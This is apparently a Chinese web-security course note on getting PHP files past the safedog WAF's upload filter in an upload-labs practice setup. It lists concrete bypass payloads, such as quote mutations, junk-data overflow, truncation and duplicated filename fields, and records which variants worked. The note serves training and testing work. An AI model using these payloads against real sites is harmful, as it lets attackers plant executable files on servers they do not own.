24：WEB漏洞-文件上传之WAF绕过及安全修复

本课重点

案例1：上传数据包参数对应修改测试
案例2：safedog+云服务器+uploadlabs测试
案例3：safedog+云服务器+uploadlabs_fuzz测试
案例4：文件上传安全修复方案-函数自定义及WAF

案例1：上传数据包参数对应修改测试

上传参数名解析：明确哪些东西能修改？

Content-dispostion：一般可更改
name：表单参数值，不能更改
filename：文件名，可以更改
Content-Type：文件MIME，视情况而定

案例2：safedog+云服务器+uploadlabs测试

常见绕过方法：

数据溢出-防匹配（xxx...）
符号变异-防匹配（' " ;）
数据截断-防匹配（%00 ; 换行）
重复数据-防匹配（参数多次）

过safedog之Payload:

大量垃圾数据缓冲溢出（Content-disposition，filename等）
filename=xx.PHP
filename="xx.PHP
filename='xx.PHP
filename="x".PHP
filename="x"x.PHP
filename="a.jpg;.PHP"
filename="Content-disposition:form-data;name="upload_file";x.PHP"
filename="x.jpg";filename="x.jpg";....filename="x.PHP";
filename="/xxx/x.PHP"
filename=
"
x
.
p
h
p
"
主要是学习思路，其他waf绕过可参考思路进行尝试

案例演示
<1>上传一个 PHP 文件，被safedog拦截，原因是安全狗中配置了相关防护，该防护是通过检测关键字实现的，

<2>方法1：在数据包filename之前，手动加入大量垃圾数据（以分号结尾），造成数据溢出，防止waf匹配关键字，从而绕过waf防护。

<3>方法2：使用符号变异的方法，防止waf匹配关键字，从而绕过waf防护。比如原来是filename="xx.PHP"，我们可以手动改为filename='xx.PHP'、filename="xx.PHP、filename='xx.PHP、filename=xx.PHP"、filename=xx.PHP'、filename=xx.PHP等形式，尝试上传。经过测试，以下三种方式可以绕过safedog文件防护。

filename="xx.PHP
filename='xx.PHP
filename=xx.PHP

通过以上测试，猜测安全狗防护机制是取filename后面最后一个引号之前的数据与黑名单匹配。此时我们就有了更多思路，比如改为filename="x".PHP，安全狗会取引号中的x与后缀黑名单进行匹配，成功绕过，上传到服务器上的文件名为.PHP。或者改为filename="x"x.PHP，此时上传到服务器上的文件名为x.PHP。